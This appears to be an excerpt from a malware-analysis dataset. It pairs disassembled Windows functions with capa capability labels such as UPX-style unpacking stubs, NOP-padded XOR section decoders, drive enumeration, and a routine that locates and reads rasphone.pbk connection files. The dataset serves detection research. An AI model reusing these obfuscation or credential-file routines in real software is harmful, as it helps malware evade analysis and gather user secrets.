joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40edc2
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestBloomFilter.exe_gMozillaPoisonSize], eax
call fcn.0040b1e9
pop ecx
mov ecx, dword [sym.TestBloomFilter.exe_gMozillaPoisonSize]
mov dword [sym.TestBloomFilter.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40edfa
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestBloomFilter.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
nop
push 1
nop
pop eax
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
sub ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
push esi
pop edi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
push edi
pop ecx
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x7161aaa
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x37d81fea
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401207
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
mov edx, dword [0x84c8e4]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x24], edi
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x14], esi
cmp edx, 0x594
jne 0x401245
push 0
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [0x84c8e4]
mov eax, dword [0x4191e8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov dword [ebp - 0x20], eax
mov eax, dword [0x4191ec]
mov dword [ebp - 0x34], 0x9e3779b9
mov dword [ebp - 0x18], eax
call fcn.00401200
add dword [ebp - 0xc], 0x23f
cmp edx, 0x14
jne 0x401285
push 0
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov ecx, dword [0x4191f0]
mov edx, dword [0x4191f4]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov eax, esi
mov dword [ebp - 8], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x84c8e4], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x84c8e0]
cmove eax, dword [ebp - 8]
and dword [ebp - 8], 0
cmp dword [0x84c8e4], 0x3eb
mov dword [0x84c8e0], eax
mov eax, dword [0x84c838]
cmove eax, dword [ebp - 8]
mov dword [0x84c838], eax
mov eax, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
add dword [ebp - 0x10], edx
and dword [ebp - 8], 0
mov dword [0x84c8dc], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor ecx, eax
cmp dword [0x84c8e4], 0x213
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
jne 0x40137b
lea eax, [ebp - 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov ecx, dword [ebp - 0x10]
sub ebx, ecx
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0xc]
shr edx, cl
add eax, ebx
mov ecx, dword [ebp - 4]
add edx, edi
xor ecx, eax
mov dword [ebp - 0x10], edx
cmp dword [0x84c8e4], 0xb03
mov dword [ebp - 4], ecx
jne 0x4013bc
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
xor ecx, edx
sub esi, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0xc], eax
dec dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
jne 0x4012a1
mov edi, dword [ebp - 0x24]
mov dword [edi], esi
mov dword [edi + 4], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b71f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418c10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00406747
mov dword [ebp - 0x14], eax
cmp dword [0x4336a8], esi
jne 0x40b812
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40b79f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40b8f2
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40b8f2
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40b8f2
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4336a8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4336ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4336b0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4336b8], eax
test eax, eax
je 0x40b80f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4336b4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40b837
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40b82a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40b84c
push 4
pop eax
jmp 0x40b8f4
cmp dword [ebp - 0x14], esi
je 0x40b84c
push dword [0x4336a8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40b831
mov eax, dword [0x4336b4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40b8aa
cmp dword [0x4336b8], edi
je 0x40b8aa
push eax
call ebx
push dword [0x4336b8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40b8aa
test eax, eax
je 0x40b8aa
call ecx
test eax, eax
je 0x40b89f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40b89f
test byte [ebp - 8], 1
jne 0x40b8aa
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40b8da
mov eax, dword [0x4336ac]
cmp eax, edi
je 0x40b8d7
push eax
call ebx
test eax, eax
je 0x40b8d7
call eax
mov esi, eax
test esi, esi
je 0x40b8d7
mov eax, dword [0x4336b0]
cmp eax, edi
je 0x40b8d7
push eax
call ebx
test eax, eax
je 0x40b8d7
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4336a8]
call ebx
test eax, eax
je 0x40b8f2
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40b8f4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040397b
mov esp, ebp
pop ebp
ret
Function at 0x403bec
Capabilities:
Encode data using xor

Disassembly:
push 0x403d88
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
dec eax
add byte [eax], al
add byte [eax], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
fild qword [ebx + 0xe0876cf]
loope 0x403c54
mov esp, 0x133d314e
or dword [esp + ecx*2], ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
sub eax, 0x30303043
sub eax, 0x435a714d
dec ebx
arpl word [edx + 0x50], si
add byte [eax], dh
xor al, 0x36
jge 0x403c59
xor ch, byte [esi]
add byte [ebx], ah
xor byte [ebx], ah
inc ebx
cmp bl, byte [edi + edx*2]
add byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
push ds
add byte [esi], bl
aas
sub al, 0x1b
xchg edx, eax
and cl, byte [ebx - 0x79]
shr dword [esi - 0x31], 1
loope 0x403cab
xchg edx, eax
outsb dx, byte [esi]
add dword [eax], eax
add byte [eax], al
mov al, byte [0xb0000000]
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp + 0x3d], ah
sub bl, byte [ecx + eax + 0x20]
inc esp
inc ebp
inc ecx
inc esp
add byte [eax], al
inc ebp
inc esi
sub eax, 0x46373345
sub eax, 0x72657355
inc ebx
jb 0x403cd0
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x403d03
outsd dx, dword [esi]
insb byte es:[edi], dx
xor dword [eax], eax
xor eax, 0xdf783335
mov edi, 0xf3315da9
dec esi
lodsb al, byte [esi]
loop 0x403c8b
xor esp, dword [ebx - 0x2e9ed419]
retf 0x7b17
jnp 0x403c8b
aam 0xe6
inc ecx
test dword [edx + 0x44902847], eax
adc al, 0x2a
add dword [eax], eax
add eax, dword [eax]
pop eax
inc esi
inc eax
add byte [eax], al
add byte [eax], al
add bh, bh
cmp al, 0x47
inc eax
add byte [ebx + eax*8 + 0x42], dh
add byte [ecx], al
add byte [eax], al
add al, dh
cmp al, 0x40
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, dh
cmp al, 0x40
add byte [edx + 0x10008ea], ah
add byte [eax], al
add byte [eax + 0x46], bl
inc eax
add byte [eax], al
add byte [eax], al
add bh, bh
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..00cfg
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x42d73ecb
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x65c83b29
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x731c3f48
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0xa810f7a
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x45ee70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x31000]
push edi
or ebp, 0xffffffff
jmp 0x45ee92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45ee99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45ee88
mov eax, 1
add ebx, ebx
jne 0x45eeab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45eea0
jne 0x45eebc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45eea0
xor ecx, ecx
sub eax, 3
jb 0x45eed0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45ef42
mov ebp, eax
add ebx, ebx
jne 0x45eedb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x45eee8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x45ef0c
inc ecx
add ebx, ebx
jne 0x45eef8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45eeed
jne 0x45ef09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45eeed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45ef2c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45ef1d
jmp 0x45ee8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45ef2c
add edi, ecx
jmp 0x45ee8e
pop esi
lea edi, [esi + 0x5c000]
mov eax, dword [edi]
or eax, eax
je 0x45ef8b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5e22c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5e298]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45ef49
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5e2a0]
or eax, eax
je 0x45ef85
mov dword [ebx], eax
add ebx, 4
jmp 0x45ef66
call dword [esi + 0x5e29c]
mov ebp, dword [esi + 0x5e2a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45efbf
sub esp, 0xffffff80
jmp 0x401770

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e84
nop
mov ecx, 0x33991864
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x1762023
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0xbe6610e
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x2eac3837
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x100021a0
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x21c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1c]
push 0x105
mov esi, ecx
push eax
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x20]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push edx
push eax
call esi
lea ecx, [esp + 0x1c]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push ebp
lea edx, [esp + 0x128]
push 0x23
push edx
push ebp
call dword [0x10018cbc]
lea eax, [esp + 0x124]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x12c]
push str._s_s
push ecx
call dword [0x10018cd0]
lea edx, [esp + 0x2c]
lea eax, [esp + 0x134]
push 0x1000
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov esi, eax
lea ebx, [esp + 0x14]
mov dword [esp + 0x10], 2
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, dword [ebx]
push ecx
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [esi]
mov edx, esi
test al, al
je 0x10002293
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
inc ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [edx + ecx + 1]
lea edx, [edx + ecx + 1]
test al, al
jne 0x1000227a
mov eax, dword [esp + 0x10]
add ebx, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10002258
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x21c
ret
Function at 0x10003250
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013258
push 0x10011c5e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x100033b0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100032ff
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100032ff
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100032da
cmp al, 0x5c
je 0x100032da
push esi
call dword [0x10018d4c]
mov esi, eax
jmp 0x100032c2
cmp byte [esi], 0
je 0x100032e3
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100032f8
cmp al, 0x5c
je 0x100032f8
push esi
call dword [0x10018d4c]
mov esi, eax
jmp 0x100032e0
cmp byte [esi], 0
je 0x1000331e
jmp 0x1000331a
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x1000331e
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000331e
cmp al, 0x5c
jne 0x1000331e
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10003374
cmp al, 0x5c
jne 0x10003366
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10003359
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003363
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003363
push edi
jmp 0x100033a7
and eax, 0x10
cmp al, 0x10
je 0x10003363
push edi
jmp 0x100033a7
mov byte [esi], 0x5c
push esi
call dword [0x10018d4c]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003324
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100035d0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x10003778
push esi
push edi
jmp 0x1000362a
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [0x10018cb8]
lea edi, [esp + 0x344]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x30]
mov esi, ecx
or ecx, 0xffffffff
inc esi
repne scasb al, byte es:[edi]
mov al, byte [ebp]
mov dword [esp + 0x28], esi
not ecx
cmp al, 0x41
mov dword [esp + 0x14], ecx
je 0x100036e0
cmp al, 0x42
je 0x100036e0
lea eax, [esp + 0x18]
push 0
lea ecx, [esp + 0x24]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100036e0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10011c70
mov edx, dword [esp + 0x24]
mov edi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.10011c70
mov dword [esp + 0x10], eax
jmp 0x100036e6
xor edi, edi
mov dword [esp + 0x10], edi
mov dl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], dl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, esi
mov byte [esp + ebx + 0x395], al
mov eax, dword [esp + 0x10]
mov edx, ecx
mov dword [esp + ebx + 0x396], edi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x28]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x30]
lea edi, [esp + edx + 0x39e]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
mov edi, ebp
add ecx, eax
xor eax, eax
